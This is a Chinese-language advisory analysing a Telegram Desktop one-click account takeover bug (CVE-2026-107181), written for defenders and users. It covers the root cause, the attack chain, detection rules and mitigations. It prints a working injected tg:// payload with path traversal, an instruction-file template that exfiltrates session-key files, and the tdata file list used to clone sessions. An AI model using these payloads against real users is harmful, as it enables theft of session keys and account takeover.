点一下链接，账号就没了：Telegram Desktop 一键账号接管漏洞（CVE-2026-107181）深度分析

发布时间：2026 年 10 月 10 日
漏洞编号：CVE-2026-107181
危害定性：高危 · 远程 · 单次点击即可窃取会话密钥并接管账号

1. 概述

近期，安全研究团队 BeakSec 的研究员 Emiliano Versini 公开披露了即时通讯客户端 Telegram Desktop 的一个高危漏洞（CVE-2026-107181）。该漏洞本身并不依赖任何复杂的利用技巧，却能达到极其严重的后果：攻击者只需诱导受害者在浏览器中点击一次普通链接，即可让受害者的 Telegram 客户端把本地任意文件（包括保存账号登录态的核心密钥文件）自动上传到攻击者控制的频道或超级群组，进而完整接管受害者的 Telegram 账号。

漏洞的根因并不在加密算法或网络协议层，而出现在一个容易被忽视的地方——桌面客户端的"单实例进程间通信（IPC）"机制。Telegram Desktop 在打开 tg:// 协议链接时，会把链接参数通过本地套接字（QLocalSocket）交给已经在运行的实例处理；而该 IPC 通信的记录分隔符（分号 ;）在发送端没有被正确转义（转义缺失，CWE-143）。攻击者利用这一点，把一条 tg:// 链接"撑开"成多条内部指令，进而调用一个本不该对外暴露的内部功能，实现不受限的本地文件读取与外发。

由于该链路同时满足了"无需受害者安装恶意软件""无需攻破系统边界""只需一次点击"三个条件，其隐蔽性与成功率远高于传统钓鱼木马。截至披露日，尚无公开证据表明该漏洞已被在野利用，但由于攻击成本极低、面向的是使用极广的桌面即时通讯工具，潜在风险不容低估。该漏洞已在 Telegram Desktop 7.2.9（2026 年 9 月 17 日发布）中修复。

本文综合 VulnCheck 官方公告、MITRE CVE 记录、BeakSec 技术分析原文及公开披露信息，从漏洞根因、攻击链、危害后果、威胁框架映射和防护建议等方面进行梳理，供安全从业人员与终端用户参考。

2. 漏洞基本信息

从 CVSS 向量可以看出该漏洞的几处关键属性：攻击向量为网络（AV:N），攻击复杂度低（AC:L），无需任何权限（PR:N），但需要受害者的交互（UI:P，即一次点击）；成功利用后对机密性与完整性均为高度影响（VC:H / VI:H），而对可用性无影响（VA:N）。这与后文描述的"任意文件读取 + 外发"完全吻合。

3. 漏洞根因分析

该漏洞并非单一缺陷造成，而是两处相互独立的薄弱点在同一攻击路径上叠加的结果。理解这两处缺陷，是理解整条攻击链的前提。

3.1 前置背景：桌面客户端的单实例 IPC 机制

操作系统将 tg:// 协议注册给了 Telegram Desktop。当用户点击一个 tg:// 链接时，系统会启动一个新的 Telegram 进程；而由于 Telegram Desktop 采用"单实例"设计，这个新进程通常不会再开一个窗口，而是把 URL 通过本地套接字（QLocalSocket）传递给已在运行的实例，随后自身退出。

这条 IPC 通道的序列化格式非常简单粗暴——以"关键字 + 参数 + 分号"为一条记录，例如：

OPEN:tg://x?a=1;

接收端（已运行的主实例）按分号把收到的字符串切分成若干段，并把每一段都当作一条独立指令去执行。

3.2 第一处缺陷：发送端未转义记录分隔符

问题恰恰出在这里：发送端在把 URL 写入套接字之前，没有对 URL 中出现的分号进行转义。

正常场景下，URL 参数里几乎不会出现分号，因此这个"分隔符即记录边界"的设计多年未被触发。但攻击者可以刻意构造一条包含分号的 tg:// 链接：

tg://x?a=1;OPEN:interpret:...

客户端会原封不动地把整串内容写入套接字；主实例按分号切开后，就得到了两条指令——原本只是一条无害的 URL 打开请求，凭空多出来一条攻击者想要的"OPEN:interpret:"指令。这就是注入点，位于 sandbox.cpp 的单实例通信逻辑中（v7.2.8 版本对应 core/sandbox.cpp 第 362–364 行）。

需要说明的是，可用的内部指令并不多：CMD: 仅支持 show / quit，本身危害有限；真正危险的是 OPEN: 指令——它接受任意 URL，且不限制 scheme（协议头）。正是这条"不挑协议"的 OPEN:，为下一处缺陷打开了大门。

3.3 第二处缺陷：内部 interpret: 方案缺少授权校验

interpret: 并不是操作系统注册的协议，它只存在于 Telegram Desktop 内部，原本是给官方发布流程使用的一个"后门式"helper：构建脚本写好一个纯文本指令文件，再启动客户端，由客户端读取该文件，并把文件里指定的安装包上传到发布频道。

指令文件的大致格式如下：

from: 1234567890          # 用于核对当前登录账号
channel: 2001234567       # 目标频道 / 超级群组
file: tdata/key_datas     # 要读取并上传的本地文件
caption: poc              # 可选的文字说明

两处设计缺陷让这个内部方案变得危险：

1. from: 校验可以被直接跳过。 该字段本意是"核对当前登录账号是否为发布者"，但只要整行省略不写，检查就被完全跳过——攻击者自然会把这一行删掉。
2. 文件路径缺少规范化（../ 未过滤）。 处理函数 InterpretSendPath（v7.2.8 对应 support/support_helper.cpp 第 673–751 行）会直接按给定路径打开文件并上传，且不向调用者做任何额外确认。相对路径没有对 ../ 做清理，因此可以从基准服务目录"穿越"到受害者磁盘上的几乎任意位置。

这两点叠加后，一个本应"内部专用、需人工触发"的发布辅助功能，就变成了一条可由外部点击触发、指向任意本地文件的读取外发通道。

3.4 缺陷叠加：从"点击链接"到"任意文件外发"

单看任何一处缺陷都不足以形成完整攻击：分号注入只提供了"塞进额外指令"的能力，而 interpret: 只是个需要人工操作的内部功能。但当注入点（第一处）与无授权校验的内部读取功能（第二处）在同一条 IPC 链路上被打通，攻击者就获得了一个原语（primitive）：在受害者机器上读取其有权限访问的任意文件，并把文件内容静默上传到攻击者指定的频道。 后续只需把目标文件选为 Telegram 的会话密钥文件，账号接管便水到渠成。

4. 攻击链分析

公开分析描述的完整利用路径依赖默认配置 + 一次点击，整体流程如下图所示。

flowchart TD
    A["攻击者创建超级群组<br/>并将受害者拉入（默认无需对方确认）"] --> B["群内投放若干纯文本指令文件<br/>channel: 指向攻击者频道，file: 指向目标路径"]
    B --> C["受害者打开群聊<br/>文件被客户端自动下载到本地下载目录"]
    C --> D["攻击者发送一条普通 https 链接"]
    D --> E["受害者点击链接<br/>攻击者服务器 302 跳转到构造好的 tg:// URL"]
    E --> F["系统调用 tg:// 处理器<br/>启动第二个 Telegram 进程"]
    F --> G["新进程把 URL 经本地 socket<br/>交给已运行的主实例"]
    G --> H["分号未转义 → 被切分为多条指令<br/>注入的 OPEN:interpret: 被执行"]
    H --> I["interpret: 读取指令文件<br/>将 tdata 会话密钥文件静默上传至攻击者频道"]
    I --> J["攻击者用窃取的文件重建 tdata<br/>打开受害者会话 → 账号接管"]

各阶段要点如下。

4.1 前置条件

该链路的成立依赖以下条件，而这些条件在默认配置下大多自动满足：

• Telegram Desktop 版本 < 7.2.9；
• 客户端正在运行（这是单实例 IPC 存在的前提）；
• 群组自动下载开启（默认阈值通常为 ≤ 8 MiB，指令文件远小于该阈值）；
• 受害者被成功拉入攻击者的群组——Telegram 默认隐私设置下，非联系人也可以把用户拉入群组，无需对方确认；
• 受害者点击一次攻击者投递的链接。

4.2 第一步：把"剧本"提前放到受害者本地

攻击者创建超级群组并把受害者拉进去，随后在群内投放若干个纯文本指令文件。这些文件本身看上去人畜无害，但内容是精心构造的指令：

channel: 2001234567
file: tdata/key_datas
caption: poc

其关键点在于：channel: 指向攻击者自己的频道/群组作为数据接收点；file: 指向要被窃取的目标路径；而 from: 一行被故意省略，从而跳过账号核对检查。指令文件必须是纯文本、LF 换行、且不含字节序标记（BOM）。

由于受害者在打开群聊时，客户端会把这些小文件自动下载到本地（Windows 上通常在 Downloads\Telegram Desktop\），攻击者的"剧本"就这样被提前放到了受害者磁盘上的一个可预测路径中——而这一"自动下载 + 固定路径"的组合，恰好成了后续注入指令得以被定位的基础。

4.3 第二步：投递"看起来正常"的链接

攻击者随后向受害者发送一条普通的 https 链接（例如 https://corvus.sec/rules），再由自己的服务器通过 302 重定向把它替换为构造好的 tg:// URL：

tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

（实际发送时为单行；此处为便于阅读做了换行。）其中每一条 OPEN:interpret: 对应一个待窃取文件，路径借助 ../ 逐级穿越到下载目录，指向刚才被自动下载的指令文件。

这里有一处值得注意的细节：如果该 tg:// 链接是在 Telegram 聊天窗口内部被点击的，它会被客户端"进程内"处理，不经过本地套接字，因而不存在可注入的通道。 所以攻击者必须引导受害者在系统浏览器中点击 https 链接，再由浏览器调用 tg:// 处理器——这既解释了为何要绕一层重定向，也解释了为何该攻击"天生"带有一次浏览器点击的交互要求（对应 CVSS 的 UI:P）。

4.4 第三步：注入触发与文件外发

受害者点击链接后，操作系统启动第二个 Telegram 进程，该进程把整串 URL 通过本地套接字交给已在运行的主实例。由于分号未被转义，主实例按分号切分，注入的 OPEN:interpret: 指令随即被执行。interpret: 读取前面被自动下载的指令文件，并按其中的 file: 路径读取本地文件、上传到攻击者的频道。

整个过程中不弹出任何确认对话框，也没有任何向用户提示"正在发送文件"的迹象。 对受害者而言，界面上几乎无任何异常。

4.5 第四步：重建会话，完成账号接管

三个指令文件意味着三个待窃取目标。公开分析中，攻击者选取的是 Telegram 存储会话数据的 tdata 目录中的三个文件：

tdata/
├── key_datas                    # 盐值（salt）与加密后的 DEK
├── D877F783D5D3EF8Cs            # MTProto 授权信息，用 DEK 加密
└── D877F783D5D3EF8C/            # 账号存储数据的索引
    └── maps

其中：

• key_datas 保存盐值与被加密的数据加密密钥（DEK）；
• D877F783D5D3EF8Cs 是 MTProto 授权（即登录态），用 DEK 加密；
• D877F783D5D3EF8C/ 是索引目录，本身不含机密，但客户端在读取授权信息时需要它。

那个看起来像随机串的目录名 D877F783D5D3EF8C 并非随机，也不因安装而异——它由字符串 data（默认的数据名）派生而来（见 storage_file_utilities.cpp 第 241–250 行），因此在每一台安装上都是同一个名字，攻击者可以提前预知其路径。

拿到这三份文件后，攻击者把它们放进一个全新的 tdata 目录、启动 Telegram，受害者的会话即可直接被打开，无需重新登录、无需短信验证。账号接管至此完成。

5. 本地密码对攻击的影响

该漏洞之所以能直达"账号接管"，与 Telegram Desktop 的本地密钥封装方式密切相关。

Telegram 本地会话数据的加密采用 KEK/DEK 两层结构：用户设置的**本地密码（local passcode）**用于派生 KEK，KEK 再用来加解密 DEK，DEK 保护实际数据。问题在于——当用户未设置本地密码时，密钥派生使用的是空密码，此时攻击者只要拿到 key_datas 就等同于拿到了 DEK，而拿到 DEK 后，其余数据（包括会话授权）都可被解密。也就是说，在"未设本地密码"的默认状态下，窃取到的会话文件可以被直接使用，立即完成账号接管。

需要客观指出的是：设置本地密码并不能阻止文件被窃取，它只是抬高（而非消除）了后续利用的门槛——被偷走的文件仍需面对"离线破解本地密码"的风险。因此，本地密码是纵深防御措施，而非该漏洞的根治手段；真正能关掉这条通道的，是把客户端升级到 7.2.9 及以上版本。

6. 危害评估

综合公开信息，该漏洞的危害可归纳为以下几点：

1. 账号被完整接管。 攻击者获得会话密钥后可在自有设备上"克隆"受害者的登录态，直接读取历史消息、私聊与群组内容，并以受害者身份收发消息、添加/拉人进群。对于把 Telegram 用作工作沟通渠道的用户，其影响可能从"个人账号"扩散到"工作关系链与敏感信息"。
2. 本质是"任意文件读取"原语。 窃取对象并不限于 tdata。任何受害者的 Telegram Desktop 进程有权访问的本地文件（如用户目录下的 SSH 私钥、云服务凭据、浏览器存储、配置文件等）都可能被外发，危害存在明显的外溢空间。
3. 攻击成本极低、隐蔽性强。 无需投递恶意软件、无需突破系统边界、无需受害者执行可疑程序；只要一次浏览器点击，且全程无提示。这使得它比传统钓鱼木马更容易规模化投放。
4. 可批量化利用。 链接可伪装成任何"正常"的 https 地址发放；结合自动下载与固定路径的默认行为，攻击流程高度可复制。
5. 修复被"静默"了。 7.2.9 的公开更新日志仅提及动画渲染相关修复，未提及该安全问题。这意味着大量用户不会因更新日志而意识到需要升级，继续停留在 7.2.8 及更早版本，长期暴露于风险之中。

目前公开渠道尚无该漏洞被在野利用的确证报告，但其技术门槛与收益比例决定了它具备被武器化的现实价值，值得高度重视。

7. 威胁框架视角的攻击映射

将该攻击活动映射到 MITRE ATT&CK 框架，涉及初始访问、执行、防御规避、收集、命令与控制、数据渗出等多个阶段的若干技术点，具体如下表所示（部分环节为攻击者可能延伸的行为）：

8. 检测与响应建议

8.1 检测要点

针对该攻击，可从进程与文件两个维度建立检测规则（以下为方向性示例，需结合环境调优，单一规则均可能产生误报，建议多条规则联合使用并叠加版本检查）：

• 进程创建监测： 监控由 URI 处理器启动、命令行参数中同时包含 tg:// 与分号注入特征（如 ;OPEN:、;CMD:、;CTRL:、interpret:）的 Telegram 进程创建行为。
• 文件事件监测： 监控 Downloads\Telegram Desktop\*.txt 中出现包含 file: tdata/ 内容的文本文件被创建/写入的事件。

8.2 响应要点

若怀疑已中招，建议按"账号已被入侵"的最坏假设处置：

1. 立即升级到 Telegram Desktop 7.2.9 或更高版本，避免二次点击重复触发。
2. 在 Telegram 的会话列表（Devices/Sessions）中终止所有活动会话，并轮换两步验证（2FA）密码。
3. 假设私聊与群组成员关系已被读取，评估信息暴露范围。
4. 未设本地密码者，应假设 tdata 已足以支撑平行客户端登录；已设本地密码者，应假设文件已外流、本地密码已成为离线破解的目标。
5. 定位并保留受害者最近被拉入的可疑群组——指令文件与窃取所得通常都留在该群内，是重要取证对象。
6. 在更大范围内检索是否存在同类群组邀请、同特征的 tg:// 命令行以及同名的下载文件。
7. 记住该漏洞的本质是"任意文件读取"：进一步排查该账号所在的桌面环境上还有哪些敏感文件可被读取（SSH 密钥、云凭据、浏览器存储等），并据此评估并处置次生风险。

9. 防护建议

9.1 对个人用户

1. 尽快升级到 Telegram Desktop 7.2.9 或更高版本——这是唯一能真正关闭该通道的措施。注意检查客户端"设置"中的实际版本号。
2. 开启"询问每个文件的保存位置"（Ask where to save each file）。开启后自动下载不再发生，指令文件根本不会落盘，这是除升级外最有效的缓解手段。
3. 在隐私设置中，将"谁能把我拉进群组"限制为仅联系人。由于窃取文件只能被送往频道/超级群组，这可以直接拿走攻击者用于"收货"的落点。
4. 设置本地密码，并当作真正的密码来设置（足够长）。 它不能阻止文件被窃取，但能显著提高被窃数据被直接利用的门槛。
5. 谨慎对待来源不明的链接，尤其是会在浏览器中打开、并可能触发外部应用协议的短链与跳转链接。

9.2 对企业/组织的 IT 与安全团队

1. 资产清点与强制升级： 统计内网 Telegram Desktop 分布与版本，推动 7.2.9 及以上版本的统一升级；对无法升级的终端下发补偿性策略。
2. 终端策略加固： 通过终端管理平台统一下发"关闭群组自动下载""限制群组邀请来源""启用本地密码"等配置。
3. 链路监测： 在终端与网络侧对上述进程/文件检测规则进行部署，将 tg:// 相关命令行与下载目录中的可疑指令文件纳入持续监控与告警。
4. 替代与迁移： 对安全要求高的场景，评估使用官方渠道分发、可及时获得安全更新的客户端；避免继续使用基于 Telegram Desktop 代码、补丁滞后的非官方二次开发客户端。
5. 安全提示与培训： 向员工明确"点击外部链接可能触发即时通讯客户端执行操作"的风险认知，将本次事件作为案例纳入培训。

9.3 对开发桌面应用（尤其带自定义协议）的厂商

该漏洞对所有"采用单实例架构 + 自定义 URI scheme"的桌面应用都具有普遍的借鉴意义，建议据此自查：

1. 把 URI 参数当作不可信输入来编码。 第二个进程相当于一个"远程发言人"，一次 URI 处理点击并不等于"我们自己稍后会处理"——应按处理网络协议的标准来处理本地 IPC。
2. 分隔符必须转义，或根本不允许出现在数据中。 长度前缀（length-prefix）记录优于分隔符记录；若保留分隔符，则需同时转义分隔符本身、转义字符以及非 ASCII 范围，并在切分之后再做解码。
3. 启动 URL 的分发器需要 scheme 白名单。 只对发布工程有用处的"私有动词"，不应与套接字可投喂的指令共处同一张清单。
4. 特权 helper 必须校验调用者。 "仅通过命令行调用"在别的进程也能填充 argv/套接字内容之后，不再构成任何授权模型。
5. 删除遗留 helper，而不是隐藏它。 可选的"字段缺失即跳过"的安全检查，等同于没有检查——from: 就是活生生的教训。
6. 自动下载 + 固定路径 = 投递器。 若客户端会把"由攻击者命名的文件"写入已知目录，就应假设这些文件会成为其他功能的参数。
7. 默认关闭的本地加密形同虚设。 空密码加公开盐值，等于把 KEK 公之于众。
8. 静默补丁无法触达真正需要它的人。 用一份"渲染修复"的更新日志来承载一个账号接管类修复，只会让大量终端长期停留在易受攻击的版本上。

10. 参考来源

1. VulnCheck Advisory — Telegram Desktop before 7.2.9 IPC Record Injection File Exfiltration via interpret: Scheme（CVE-2026-107181）
2. MITRE / CVE 官方记录 — CVE-2026-107181（VulnCheck 分配，2026-10-07 发布）
3. BeakSec / Emiliano Versini — Telegram Desktop: one-click account takeover via IPC injection
4. Telegram Desktop v7.2.9 发布说明与修复提交（telegramdesktop/tdesktop commit db34056）
5. Telegram Desktop v7.2.8 源码位置：core/sandbox.cpp（第 362–364 行）、support/support_helper.cpp（第 673–751 行）、storage_file_utilities.cpp（第 241–250 行）
6. 公开披露与媒体报道整理

说明：本文为基于公开权威技术分析的第三方整理与研判，所涉技术细节（版本、行号、CVE/CVSS 数据、攻击链描述）均来自上述公开来源，未做推测性延伸。